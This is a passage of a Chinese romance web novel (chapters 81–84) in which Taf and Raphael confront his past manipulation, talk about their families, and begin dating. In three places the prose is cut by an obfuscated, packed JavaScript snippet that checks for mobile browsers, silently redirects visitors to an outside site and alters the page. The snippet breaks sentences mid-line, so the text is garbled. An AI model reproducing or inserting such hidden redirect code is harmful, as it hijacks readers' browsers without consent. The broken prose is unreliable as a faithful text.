“和校友日舞会有关系吗?你演出时临时改台词也是因为这个?” “……无法告知。改台词是想要给你提醒。” “我没收到。这种事以后也可能会发生吗?” “……我无法保证不会。” 塔夫几乎重新生起气来,为什么拉斐尔连口头上的安慰都不给一个?是不能,还是不愿?她语气不由得带上讥诮:“那有什么事是你可以跟我说的?” “我很喜欢你,塔夫。我想和你在一起。对不起。” 塔夫脸一下涨红,又羞又气,不知道怎么回答。 拉斐尔松开塔夫一些,想看到她的表情,但她始终垂着眼睛。他等了等,又说:“我知道我之前的几次做法……并没有向你表达出这一点。我会让你可以感受到我的喜欢。如果有下一次——我希望没有——但哪怕真的出现下一次,你也可以相信我很坚定地喜欢你,我所做的都是为了能够和你在一起……” “这不是我想听的!”塔夫终于打断他。她顿了下,发现自己有些气馁,“我想听。但不是现在。我知道你的意思,我也很喜欢你,可我一时没办法接受。” 拉斐尔眼睛一下明亮起来:“为什么?” “你难道不明白吗?我喜欢你,所以才会有所期待,可是你……”塔夫把尖刻的话及时吞了回去,“可是我现在不确定。” 拉斐尔重新紧紧抱住她。塔夫脸埋在拉斐尔怀里,听着他的心跳慢慢放松下来。 她心里明白,拉斐尔不承诺她的期望并不代表他不喜欢她,大概只是不想让她失望,可她一时没办法接受这种妥协。 塔夫抬起手在拉斐尔肩胛上敲了敲,要环住他的脖子。拉斐尔则像是已经配合无数次地俯下身,手揽在她腰上。塔夫在他脖子上舒服地挨蹭着,又用力吸了下鼻子。 真好闻。还是好难决定。 拉斐尔重新开口:“刚才关于我可以说的事,你有什么特别想听的吗?” 她那有一多半是气话!塔夫白了拉斐尔一眼,可惜他看不到,不过她倒是真的生出一些好奇:“你还有什么类似的坏消息,现在全部告诉我好了。” “类似的坏消息?”拉斐尔不太确定地问。 “我不知道的,而且可能会让我犹豫要不要和你在一起的事情。” 拉斐尔没说话。 塔夫佯怒:“我有想听的,你却不说。” “因为我想要和你在一起,所以不希望你更加犹豫。” “哼!” 拉斐尔从牙缝里说:“翼猫……” 他似乎非常懊恼,这件事被哈勒普提前告诉给了塔夫。 塔夫忍不住好笑:“我已经知道了,你再想想。”她又绷起声音,“如果我以后自己发现了,可能会更生气。用小布的道理,坏消息要一起说。” “但是……” “你要是还想用那个逻辑狡辩说,你不是我,所以不知道什么会让我生气,我建议你还是好好想一想。” 拉斐尔:“……” 塔夫得意:“我可真是越来越了解你了!” 拉斐尔轻笑一声,又终于叹口气:“好。”他清了清嗓子,似乎在思索从哪里开始讲起。 塔夫倒真情实感地惊讶起来:“原来你还真的有啊!?” . 81.坦白 马蹄声打断了塔夫和拉斐尔的对话。 以及二人的拥抱。 “妈妈回来了!” “是贾希拉和明斯克。呼。” 塔夫和拉斐尔对视一眼,忍不住挖苦道:“别这么明显地松一口气,你今晚逃不过的。”然而她的唇角却止不住上扬。 拉斐尔也笑了,只说:“我们先回去。” . 回农场的路上,拉斐尔听上去不太经意地问:“贾希拉是精灵还是半精灵?” “半精灵。”塔夫答。 半精灵和人类结合的后代是人类。 塔夫能猜到拉斐尔真正的问题,直接又道:“贾希拉是我的养母。我和卡菈克与她都没有血缘关系。”拉斐尔忽然握住她的手。塔夫身子微微一僵,还是回握回去,“已经是很久之前的事了。瞧,我们现在过得很好。” 拉斐尔点点头:“我……我很为你高兴。” “我们。” “我为你们感到高兴。” 塔夫心里划过细细密密的暖流,又疼又痒。 她向来不喜欢别人因为她的身世同情她,把她视为一个不幸的受苦的人。拉斐尔刚才为她感到心疼时,她仍是下意识地回说她的生活很幸福。然而她立刻就发现自己没有一丝厌恶,反而忍不住想要对拉斐尔倾诉。 她其实一直知道的。 他在乎她的感受也善于倾听,她和他聊天觉得很舒服很放松。 唔,大部分时候。 塔夫手微微用力,拉斐尔立刻与她更紧地十指相扣。 她真的很喜欢他。 塔夫觉得自己心里的天平朝一方倾斜得更多了些。 . 贾希拉和明斯克吃晚饭的时候,三位年轻人虽然已经吃过,仍是围在长桌旁和二人一起。当然还有一位迷你型的巨型太空仓鼠小布。 卡菈克拿出大草莓,一颗一颗塞给小布:“特意给你留的哦!”顺便揭发塔夫,“她抢了一个最大的!” 小布:“吱!” 明斯克翻译:“真过分!我会记住的!” 塔夫立刻抓了一把南瓜子,献宝一样地一股脑堆到小布身前。 小布:“吱!” 明斯克翻译:“我勉强原谅你了!” …… 晚饭进行到尾声,贾希拉说起她同明斯克去镇上的事。 原来二人是去参加了独立农协会的临时集会,主题则是“如何应对大贵族的合作协议。” ——即塔夫早上刚刚知道的消息。 塔夫还没来得及向拉斐尔询问这件事,或者说还没有想好如何开口。她与拉斐尔立场天然对立,话题其实有些敏感,结果就这样直接跳了出来。 她心脏一紧,已经可以预见到姐姐的反应。 “什么?” 卡菈克一拍桌子站了起来,和塔夫猜测中的一模一样。 因为拉斐尔也在,卡菈克的措辞很是克制了些,但态度还是相当明显: “贵族都是一群高高在上的傲慢的……人! “除了围猎不会沾到任何泥土!根本不懂得农场经营!” 她说着说着还是激动起来,讽刺贵族的慈善不过是虚伪,善意也都浮于表面: “他们制定规则、还有这些所谓的税收优惠,其实不过是为了更好地维护他们自己的权势和利益!” 塔夫终于响亮地咳嗽了一声,示意姐姐拉斐尔就在一旁。 卡菈克仍在情绪中,虽然中止了大肆抨击,却继续对拉斐尔大剌剌地直白说: “希望你和他们不一样,至少在干了一个暑假的农活后,起码知道真实的世界是什么样子。” 塔夫无奈:“卡菈克!” 拉斐尔道:“我相信我会学会很多。” 卡菈克哼一声,看在妹妹的面子上,没有直接质问拉斐尔的家族对此事是什么立场。 而塔夫借着这短暂空隙,连忙问起母亲协会接下来的打算。卡菈克斜一眼塔夫,又睨着拉斐尔:“你怎么还坐在……哎呦!”却是塔夫终于不客气地在桌子下踢了她一脚,然而拉斐尔已经站起身:“我先回房间。” 贾希拉示意拉斐尔不需要离开:“没有具体计划,即使有,我也不介意你听到。”她对卡菈克摇摇头,“我们现在只知道,协会倾向于游说态度不明朗的贵族。因为有很大可能,合作协议仍会像上次那样继续搁置,也许彻底流产。” 明斯克补充道:“不过我们还是会写信联合其他独立农场。无论抗议或抵制,都可以提前做点准备。” 卡菈克哼一声:“也许不仅仅只是独立的农场。”她问清贾希拉协会的周报放在哪里,“我先回房间了。” . 塔夫很快也和拉斐尔一起上楼。 临分开时她忍不住解释:“我了解卡菈克,她刚才并不是针对你。” “我知道。而且我也十分理解她的看法。”拉斐尔看上去毫不介意。 塔夫有些好奇他的想法。 按她所熟悉的拉斐尔的用词,“理解”意味着他并不完全赞同。难道他仍需要保持政治中立?但这件事直接关系到贵族的决定,他的家族真的能够维持中立立场吗? 考虑到两人被打断前还有没说完的事,塔夫不想再添一项,尤其说不定还会有激烈的针锋相对,最后只是说:“你没往心里去就好。那一会见。” 拉斐尔却思索起来。 塔夫有些难为情:“半小时后,我去找你。” 拉斐尔忽然上前一步,又犹豫片刻,抚住她的肩膀在她脸颊上吻了吻:“我等你。” . 塔夫回到房间关上门,觉得刚才被亲的地方有些发烫。 她好像误会拉斐尔了? 他刚才是在琢磨要不要亲她,而不是卡菈克的态度? 这件事一定程度上可以算是梅菲斯特对待她的镜像。 虽然梅菲斯特的态度要糟得多而且卡菈克的话要有理有据的多(起码在她看来)。 她要求拉斐尔坚定地维护自己,然而面对类似的情景,她安抚拉斐尔的话语并不算有力。 除了那番话还是在为卡菈克解释,并没有“坚定”地站在拉斐尔一边,在逻辑上也有缺陷——尽管卡菈克没有直接针对拉斐尔个人,但炮轰了整个贵族群体,而拉斐尔正是其中一员。 塔夫叹一口气,觉得心里的天平偏得更多。 . 洗澡时——她从下午开始就迫切需要,塔夫想起拉斐尔的习惯,哼起走调的歌,还没唱完一小节,卡菈克就在另一边大吼:“你这是在报复我刚才对拉斐尔的态度吗!?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411826|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——这个双门的卫生间在塔夫和卡菈克的屋子中间,由姐妹俩共用。 塔夫喊了回去:“不是!我是为了不去想你刚才说的话!” “这不是一个意思?!我刚才哪句说的不对?!” “没有!我很赞同你!所以我才不想去想!” “哈???” 塔夫和卡菈克有来有回地拌嘴,愉快地放空大脑。不过擦干头发时,她已经差不多做出决定,但还是打算先听听看拉斐尔的“坏消息”是什么。 . 换好衣服来到拉斐尔房间前,塔夫下意识做了一个深呼吸,敲敲门。 这次,拉斐尔很快就打开门。 他看上去也洗过澡,换了身衣服。看上去仍挺正式,但和她一样用的是清爽透气的亚麻布料,带着自然褶皱。更夸张的是,他领口甚至多露出一寸皮肤,隐约可以见到锁骨。 塔夫觉得新鲜,便多瞧他一会,直到发现拉斐尔似乎有些脸红,这才问:“我可以进去吗?” 拉斐尔立刻侧身又退半步让出空间:“当然。”他嗓子有些卡住,轻咳一声。 塔夫忍不住弯起唇:“别担心,我们把门开着。”她有意不再去看拉斐尔,好奇走进他住的客房。 房间不算大,大家具只有一张床和一张双人沙发,一眼就能看到底。 而除了一只标准大小的牛皮旅行箱,这里简直没有其他任何有人在住的痕迹,连她昨天拿来的丑床单和毛巾都找不见。 “床单毛巾喜欢吗?”塔夫问 “……喜欢。” 塔夫顿了下:“住得还习惯吗?” “……习惯。” 塔夫立刻指出:“可你才住了昨天一晚。” “……我昨晚睡得很好。” 塔夫忍不住笑出声:“我的问题真是太尴尬了。” 拉斐尔也笑了:“你不需要因为我今晚的话感到压力,一定要给我一个答复。我会等你,明天,一周,整个暑假。” 塔夫瞪他一眼:“别反客为主!我来是要听你的坦白,你还隐瞒了什么没有告诉我。” 拉斐尔笑着叹口气:“是的。”他很快重新开口,接着就没有太多停顿地一直说了下去,像是刚才练习过好几次,很是流畅熟练。 塔夫竖起耳朵,却越听越稀奇:“等等,这听上去像是一套情感理论?” 拉斐尔点点头:“没错。” “怎么变成小组讨论知识分享了?”塔夫不由好笑,又有些感动。拉斐尔为了同她交往,特意去学了恋爱原理? “这理论的目的是进行情感控制。” 塔夫的感动立刻消散:“啊?可是听上去……挺在理。”难道她其实潜意识也想要操纵别人的情感? “还有最关键的最后一步。”拉斐尔简单介绍又立刻道,“但我不会这么做。”面对塔夫露出的思索表情,他郑重地说,“因为我不感兴趣。” 这理由听上去怪傲慢的,塔夫却反而立刻相信了:“之前的呢?展露脆弱什么的。” “那些脆弱不是我的。”拉斐尔垂下眼睛。他喉咙轻滚了下,这才重新看着塔夫, “是……威尔的。” 塔夫一脸震惊,不可置信:“所以,我一直以来喜欢的人,其实是威尔?” . 82.母亲 “你的意思是……” 塔夫震惊地盯着拉斐尔,“我一直喜欢的其实是威尔?” “不!当然不是!”拉斐尔也一脸震惊,又立刻强调,“你喜欢的是我。只有我。” 塔夫也反应过来自己那理解的荒谬之处,脸一下涨红,很快变成羞恼。 拉斐尔看上去则没有一点愧疚之情,甚至连语速也加快好几倍,毫不客气地把威尔透了个底掉: “威尔有身份认同危机。但我并没有。” 他继续解释道,自二人一起去看翼猫之后,他便没有再利用“想要被看到贵族身份之下的真实的自己”来吸引她。 “而在那之前,甚至直到剧团发生意外,你对我恐怕并没有多少好感。”拉斐尔最后又再次说, “所以你真正喜欢的人一直是我。” 塔夫被他这三番五次的强调搞得更加窘迫:“安静!!”她望向门外,立刻又放低声音,“让我自己想一想。”话虽如此,她还是忍不住问,“你借用威尔的性格,故意让我感到怜惜?” 拉斐尔顿了下:“我不否认。”接着立刻重申,“但是。你怜惜的对象始终是我。” “……”塔夫差点再次喊出声,不得不直接道,“我知道!我没喜欢过威尔!至少不是喜欢你的这种喜欢。” 拉斐尔这才不在那一点上反复纠缠,却又说:“你对我的怜惜的感受也都是真实的。” “但原因是假的!”塔夫有点生气拉斐尔的态度。 “我想被你了解。”拉斐尔望着认真说,“我也很在意你对我的看法。” 塔夫被这突如其来的直述衷情打了个措手不及,结巴着先回了句“我也是……”,这才狠狠瞪了拉斐尔一眼,把刚才的话说完,“怪不得我之前就觉得有些不对劲。” 而且,她也没有真的因为威尔的那些缘故对拉斐尔感到怜惜,“所以你其实没骗到我!” 拉斐尔微微扬起眉,露出既欣赏又惊讶的表情,塔夫觉得受到鼓励,继续说:“不过我的确感到过,印象里是因为哈勒普,你提到他可以变成你父亲的时候。” 结果,她为拉斐尔脑补的凄惨童年经历,只能说是与事实毫不相关。 “我可以通过哈勒普与父亲联系。”拉斐尔忍不住笑着说,“虽然也的确有一些熟悉和习惯父亲的意味在。” 原来拉斐尔五岁起就开始念私立的贵族寄宿学校,虽然和梅菲斯特的父子关系不算多亲密,但寒暑假的时候,每周甚至每天,还是能见到父亲几次。 塔夫听说过那个贵族学校的名字:“真的是一所男校?” “是的。”拉斐尔说,“事实上直到高中,我很少见到同龄异性。” “那高中对你来说一定是很美好吧。”塔夫语气有点发酸,“一下见到那么多活泼可爱的女孩子!” “我仍在同一所男校,只在社交舞会时会和姐妹校有来往。”拉斐尔说着表情古怪起来,“至于活泼可爱,我不会这么评价青春期的女生。” 塔夫横他一眼,拉斐尔便立刻问起她的事。塔夫想到自己高中前的那个暑假,无意中看了本充满政治隐喻《费伦DR1492》,顿时奉为圭臬。为了搞懂书中细节——权力的宣传、监控、对个人思想自由的压迫等等,又继续朝着那个方向读了更多。 结果不难预见,她变得愤世嫉俗,简直一根筋得人烦狗厌,就连姐姐都说她头埋在一个泡泡里——除了自己眼中的那个的世界,其他的什么都不相信。 她聊着聊着便被拉斐尔拉着一起在沙发上坐下。他始终向她半侧着身,头也微微倾向她,听得很认真。塔夫说到激动时也忍不住朝他转过身,膝盖碰在他大腿旁,身子和话语都一顿。 拉斐尔手掌轻轻覆上她的膝盖。 隔着一层亚麻纤维,布料接触皮肤有些粗砺,又格外温暖。 塔夫抿唇笑了下,便干脆一直靠在那里,继续说:“后来几乎一整年,在母亲的要求下我只能看些理想主义啦浪漫主义啦之类的书,总算找到些平衡,不再那么充满愤怒了。”她最后感概, “虽然我现在脾气也不怎样,但还好你不是那个时候认识我。” “那时我也一定会喜欢你。我真希望可以早点认识你。” 拉斐尔皱起眉,“我们在同一所大学,整整三年,我怎么会从没有遇到过你,也从没有听说过你。” 塔夫轻轻抚摸他的眉毛,又滑向颧骨和脸颊:“如果我们一开始就认识,也许结果反而会不一样。现在不就很好吗。”拉斐尔眉毛慢慢舒展,看向她的目光充满情意,塔夫忍不住探过身,吻在他嘴唇上。 她感到拉斐尔手在自己膝盖上握紧一些,像是在紧张,便退开一点距离看着他。 拉斐尔眼里染上笑意,却也带着一股奇特的认真:“我可以把这当作是,你对我们正式关系的回答吗?” 塔夫怔愣,慢慢重新坐正。拉斐尔也松开手,收回放到自己大腿上。 她为什么会突然犹豫,塔夫自己也搞不明白,她甚至以为自己来之前就已经下定了决心。 她很确定自己被拉斐尔吸引,也非常喜欢他。 可“正式”让她也突然想起拉斐尔晚饭后的那番话:他想要找到一个长远的方法。 要多长远? 对于她来说,只要能够信任拉斐尔,就可以不那么在意梅菲斯特的态度。但拉斐尔似乎考虑得更多。 塔夫垂眼看着自己掌心,努力不去掐指尖。沉默好一会,她突然开口:“你母亲是怎么样的人?你从来没有提起过她。”——她对我们交往又是什么想法? “她……”拉斐尔顿了下,“已经去世。” 塔夫再次愣住。 不等她有机会说任何安慰的话,拉斐尔已经又道:“是十几年前的事了。” 塔夫伸出手想要摸摸他手臂,拉斐尔却直接握住放在自己腿上,轻轻捏着,像是解释也像是自言自语:“母亲身体一向病弱,一次因为我,过于生气,病情极速恶化去世。我父亲也许有情人,但没有再娶。” 塔夫忽然抽出手站起身。 拉斐尔身子一僵。 塔夫把门关上,又确认一遍,这才重新坐回拉斐尔身旁。她这次和他挨得更近,几乎腿碰着腿,肩膀碰着肩膀。 拉斐尔弯了弯唇:“这算不上秘密。” 塔夫表情却严肃起来:“她,你的母亲,一定不希望你会这样想。” “我很清楚。”拉斐尔没有继续说下去,重新拉过她的手放在自己掌心,低头玩着她的指甲。塔夫却莫名知道那是个含糊其辞,他的清楚和她想表达的意思完全相反。 她声音放低了些:“卡菈克不允许我这样说,但她那只角其实也是因为我才摔断的。她甚至不让我道歉,因为她不认为我做错了任何事。 “还好贾希拉对我说没关系,虽然那更多是为了让我感觉好一些。我那时和母亲和姐姐在一起大概才四年,她们便是这样想这样做的,你的亲生母亲一定更不会责怪你。” 拉斐尔很快嗯了声:“别担心我。”他停顿片刻又望向她说,“谢谢你告诉我这些。” 塔夫知道自己没有安慰到他,说不定还起了反作用,苦笑一下:“由我来说,好像不太有说服力。” 毕竟她仍会自责,而她的亲生母亲则遗弃了她。 “我相信你。”拉斐尔伸出手臂环在她肩膀上,“也相信她们并没有责怪你。” “如果你想说说看你的事,”塔夫靠进拉斐尔怀里,“我会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道。我其实清楚的。”塔夫笑着说,眼泪却还是流了出来,落在拉斐尔脖子上,“对不起。” “没关系。”拉斐尔在她背上轻轻抚摸着,“你不需要道歉。” 塔夫很快就止住眼泪:“我本来是想要安慰你的。”她还是带上些鼻音,“结果却反了过来。”也许她说这些,还是因为她想听另一个人对她说她没有错,而她知道他会这样说,也相信他说出的话就是他真正的意思。 她有点难为情,想要坐直,却仍被紧紧抱住。 “我也得到了安慰。”拉斐尔说。 塔夫便在他肩膀上蹭蹭,又换了个更舒服的姿势。拉斐尔根据她的姿势调整自己的身体,另一只手伸进她的头发不轻不重地按摩。渐渐地,两人的心跳和呼吸似乎也变成一种节奏。塔夫眼皮越来越沉,再次睁开眼睛时,却是被拉斐尔轻轻推醒:“回去睡吧。” 她一直在拉斐尔怀里?塔夫下意识揉揉眼睛,似乎已经被擦过。她又抓下头发,用手背抹抹唇角:“我睡了很久吗?”还好没有流口水。 “不算太久。”拉斐尔笑着替她把抓得更乱的头发向后拢了拢。 塔夫脸一下烧红,猛地站起身:“我先回去了。明天见。”结果动作太突然,眼前一花,身子失去平衡晃了下。拉斐尔也已经跟着站起身,扶住她肩膀,又在她额头上吻了吻:“晚安,塔夫。” 塔夫心跳得更快,忙不迭冲出拉斐尔的房间,回手拉上门,仍惊魂未定,转身却望见贾希拉。 隔着一条走廊,她仍能看到母亲表情和往常不太一样,鼻翼两侧和嘴唇的线条都有些严肃: “塔夫,来我这里一下。” . 83.决定 “妈……妈?” 塔夫望着贾希拉,觉得自己有些喘不过气,于是她深深吸了一口气,但大脑仍一片空白。 她现在看上去一定非常的目光呆滞。 “我知道。但请相信我,我和你一样有些尴尬。”贾希拉说,“但我宁可现在尴尬,也不愿看到事情真的发生后你感到后悔。” 塔夫觉得母亲才不尴尬,而她自己只想逃走。 贾希拉按住她,继续道:“你接下来想要读医学院,意外怀孕和迎接一个新的生命应该并不在你的计划中……” 塔夫终于提高声音:“妈妈!我知道这些!你也知道我是要读医学院的!” 被母亲板着脸上完一整节避孕小课堂,塔夫总算反应过来原因——都怪她刚才怕被卡菈克和母亲听见什么,特意把拉斐尔房间的门关上,现在只能虚弱地为自己辩解:“我和拉斐尔没有……我刚才只是不小心在他那儿睡着了。” 贾希拉理解地点点头,塔夫恨不得抓住母亲肩膀摇晃着大喊:你没有理解!我们真的没有! “提前做好准备没有坏处,而心理准备也是准备的一部分。”贾希拉严肃道,“塔夫,这种事很正常,你已经成年了,别太紧张。” “我也没有紧张……”塔夫决定还是不要再解释了,做出认真听讲的姿势。 贾希拉这才满意地点点头:“也别太有压力,无论是来自谁的压力。相信你自己的感受,每一步都顺其自然。任何时候你都可以说不,而‘不’就意味着不,不需更多解释……” 塔夫:啊!无论是谁!请来打晕我吧! . 塔夫有气无力地逃离贾希拉房间,余光却扫见卡菈克的尾巴尖消失。她立刻恢复精神,几步冲上去:“原来是姐姐你!不如说,果然是你!” “什么是我?” “卡!菈!克!你知道我在说什么!” “哦!你是说,因为你的门一直敞着,人却不在里面。于是我只好在妈妈问起来的时候,告诉她你是什么时候唱完歌,我是说,洗完澡的。然后,你就去找拉斐尔了。” 塔夫气得想咬她,面色不善地磨了磨牙。 卡菈克却继续笑嘻嘻问:“她有没有跟你说,家里很宽容,只要做好避孕防病,你想干嘛干嘛。可终于轮到你了,不能只有我一个人享受过这待遇。” 塔夫飞快抓住她尾巴咬了一口。 “嗷!你怎么还真咬?!” . 塔夫推着卡菈克进屋,又一起挤到她床上——卡菈克不得不把自己蜷得小一些。她仍睡着十几年前的单人床,抱着十几年前的小熊玩偶,哪怕已经在好几处打了补丁,因为她“很喜欢它,所以不想和它分开”。 塔夫知道姐姐在打趣自己,立刻反击:“你还很喜欢戴蒙。” “不。”卡菈克纠正她,“我爱戴蒙。” 塔夫抬眼瞧向卡菈克,她金色的眼睛像是在闪闪发光。 “我知道你要问什么。”卡菈克清清嗓子,“喜欢是因为,爱是尽管。” “哈?”塔夫反而糊涂了,“你突然在打什么谜语。” “是小布的大道理。”卡菈克笑眯眯解释,“如果你‘因为’一个人的某些特质所以想要和他在一起,那是喜欢;如果你‘尽管’他的某些特质却还是想要和他在一起,那是爱。” 塔夫理解了:“比如,‘尽管’戴蒙捣鼓那些发明?” 卡菈克愣住:“那是我的‘因为’。我的‘尽管’是他的蓝眼睛,那看上去真是太不提夫林了。” 塔夫笑得很大声,而且根本停不下来,结果想说想问的话一句没说成,就被卡菈克气呼呼地赶走。 . 塔夫见贾希拉房间的灯仍亮着,便挪过去和母亲再说一次晚安。 “晚安。”贾希拉顿了下又微笑问,“还有什么其他的话想说?” 于是塔夫又蹭到母亲身边,却始终沉默思索,直到贾希拉有些促狭地问:“是想赶拉斐尔去明斯克那里吗?” “妈妈!”塔夫终于开口,最后问起的仍是昨天的事,“你当初怎么就被拉斐尔说服,允许他在家里住下?”哪怕贾希拉总是愿意收留需要帮助的人,但整个夏天都住在一起则是另一码事了——而且还是住在亲密朋友才会住的二楼客房!塔夫想着又补充一句, “难道他提出了什么令你们无法拒绝的交易?” “交易?”贾希拉挑下眉毛,“拉斐尔说的大多都关于你。” 哪怕只是概括转述,那些话依然动听,令塔夫脸颊微微发热。最后贾希拉说:“至于这个决定,我是等到你回来,看到你的反应后才做出的。”她朝塔夫眨下眼睛,“眼神不会说谎。你其实并不反对,是吗?” 塔夫脸一下子变得滚烫:“我……我不知道。我甚至还不知道要不要和他交往。” 贾希拉胳膊环住她:“为什么这么说?” 塔夫靠在贾希拉身上:“我能感觉到他父亲……不算喜欢我。”她终于说出拉斐尔无法向自己保证的事,“所以我有点犹豫。” “你希望他无条件站在你这一边。”贾希拉点点头,“为什么这个承诺对你这么重要?” 塔夫想了想:“我大概觉得,如果他现在都不肯支持我,以后就更不可能了吧。那意味着我和他之间是不会有结果的。” “什么结果?” “嗯?就是,长远的结果吧。” “长远。比如结婚?” “不!我可没想那么多!”塔夫说完自己先愣住,又笑了,“我好像被拉斐尔的一些话影响了。” 而且这影响似乎早就开始了。 塔夫一下想通,长出一口气,拥抱母亲:“谢谢你妈妈。”你总能给我安慰和启发。 . 第二天一早。 拉斐尔在楼梯前见到塔夫的时候,她对他说:“我们交往吧。” 他没有立刻回答她,因为那句话似乎并没有说完——缺少一个时间限定定语。他等她说出那个词,也许是这个暑假,也许是这一周,也许是直到他再次令她失望。 塔夫在他眼前挥了挥手,笑着补充道:“如果你还没有改变主意的话。” “不。没有。”拉斐尔发现自己嗓子哑住,连忙清下喉咙,有些匆忙地解释, “当然。太好了。我是说,请让我们开始交往。” 塔夫笑出声,又踮脚在他脖子上吻了吻,感觉也像是她的鼻子在上面蹭了蹭。她认真望着他的眼睛: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429406|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们也和好了。” 拉斐尔这才回过神,俯身抱住她,手脚都有些僵硬。 接着,她又亲吻了他,这次落在唇上。那感觉像是他第一次和她接吻。她的嘴唇是柔软的,舌头是湿润的,他尝到点薄荷碱味,是农场上用的牙膏。太过美妙了。他希望可以多尝一尝。如果每天早上都能尝一尝就更好了。也许不仅仅是早上。但塔夫已经收回舌头,吻也结束了。 他几乎有点眩晕,像是醉酒,而这一天才刚刚开始。 “你今天还是和明斯克去水塘那边吗?”塔夫与他一起下楼去厨房。 不。拉斐尔说。今天要去山坡后,检查果树与有些争议的边界石。 ——虽然他只会在这里一个暑假,但明斯克打算带他了解整个农场。 “可惜现在苹果还是青的。”塔夫遗憾道,“要再等至少两个月才能吃,那个时候我们已经出发回学校了。不过樱桃很快就会熟啦……” 拉斐尔微笑听塔夫介绍着。 至少两个月。 真是太好了。 他发现自己已经爱上这里。 从智性上来说这太快了,但他的确如此:无论是贾希拉的口音,卡菈克的率直,还是明斯克跳脱的思维(小布往往是那个帮他解释的人,修正,的太空仓鼠),他都喜欢极了。 当然,最重要的是塔夫在这里。 她和他正在交往。他和她每天都可以见面。他终于可以了解她更多。 . 塔夫觉得自己和拉斐尔的进展有点快。 倒不是因为拉斐尔和她一开始交往就住在同一屋檐下,她其实挺喜欢这点,令她有些不自在的是拉斐尔的态度——太过自然熟稔,不过一周,就仿佛两个人已经交往了至少三年。 他知道她喜欢茶里加牛奶不加糖,但如果搭配甜食的话则最好什么都不加。 他知道她不喜欢核桃和葡萄干,但如果同时出现在烤面包里的话则很喜欢。 哪怕她一次都没有在他面前吃过,他也知道她最喜欢的水果是苹果,尤其喜欢烤焦些的苹果切块再洒上肉桂粉。 …… 而这只是他所知道的关于她的长长清单中的几项。 至于那清单到底有多长,塔夫觉得连拉斐尔自己也说不好。 这天晚上准备晚餐时,她听到拉斐尔对姐姐说:“塔夫不喜欢在炖菜里放新鲜香芹,我们不如换成晒干的。” “哦对!你说得没错。”卡菈克把香芹放到一旁。 塔夫一下生起无名怒火:“没关系,又不是吃了过敏。” 她抓起香芹,随便洗了洗,又粗暴地一片片揪下叶子往炖锅里丢。 卡菈克挑挑眉,没说话。拉斐尔张开嘴,想说什么又合上。塔夫心里泛出沮丧,强做没事,解释道:“我没那么不喜欢。而且妈妈很喜欢。” 那天晚餐味道怪怪的,不是因为香芹。 晚饭后,收拾完杯盘,塔夫没有心情和前几天一样与拉斐尔一起在餐桌旁复习——她是准备医学院考试,拉斐尔则是法学院。 她直接默默上楼,拉斐尔同样沉默地跟在她身旁。走完最后一级台阶,塔夫终于还是转过身:“去你的房间说。” . 84.我也 塔夫低头扶着门,又在拉斐尔进来后关上。 她靠在门上,盯着地面:“你是不是觉得我很麻烦?” “为什么这么问?” “莫名其妙地乱发脾气。”塔夫补充,“之前放香芹的时候。” “不。但我会想知道你为什么……有那样的反应。”拉斐尔顿了下,“我更认为这是个了解你的机会。” “你已经了解得太多了!”塔夫话说出口,又立刻放低声音,“对不起,我不是那个意思。我知道那是你的体贴和关心,我……喜欢。真的。” “我知道。”拉斐尔语气温柔,“因为你喜欢我,所以才会表现出来这些情绪。” “这是什么原因?”塔夫诧异,抬头望向他,“我喜欢你,所以才表现得无事生非、无理取闹、难以相处……” 拉斐尔忽然吻住她,吻得很重,但又很快放开:“我不得不阻止你继续攻击你自己。”他俯身抱住她,“你喜欢我,所以在我身边感到安全。因为你感到安全,所以才不用在我面前压抑任何情绪。” 塔夫伸手慢慢环住拉斐尔,感受一会他的心跳:“你记下我喜欢什么,我很开心,却也觉得有些……不自在。我不知道。也许是难堪,因为我的那些喜欢本身。” “为什么?我觉得那些都非常的,你。” 塔夫噎了下:“真的吗?我自己听了都觉得吹毛求疵,哪来那么多乱七八糟稀奇古怪的要求,真是难以取悦,还反过来朝你生气……” 拉斐尔像是惩罚性地又吻住她。 塔夫只得用力推推他:“我不会再这么说我自己了,但我的确认为这些真是太……”她一下卡住,再次不知道该怎么形容。 “我倒是认为,这说明你一向知道自己想要什么。而且要求清晰明确,反而让事情变得容易。”拉斐尔居然笑起来,“况且只是这种程度的生气,对我来说简直不算什么。” 塔夫又好气又好笑:“真不知道你是在夸我还是在贬我。” “你认为呢?” “就当是夸我了。” 拉斐尔重新吻吻她,这才又说:“而且是我自己愿意记下来。我其实要为此感谢你。” 他声音放低些,“过去如果我了解一个人,最好的原因不过是为了施恩图报,虽然目的达成那一刻也有些愉快却总是短暂,往往还伴随着对对方的鄙夷。我知道,这听上去很傲慢。但在你身边了解你,这过程让我变得不太一样,我好像真的感到了满足,我很喜欢这改变。” 他说话时表情柔和却又认真,塔夫有些动容:“我好像也有改变。” 拉斐尔眼神专注地看着他,眼里带着笑意和期待。 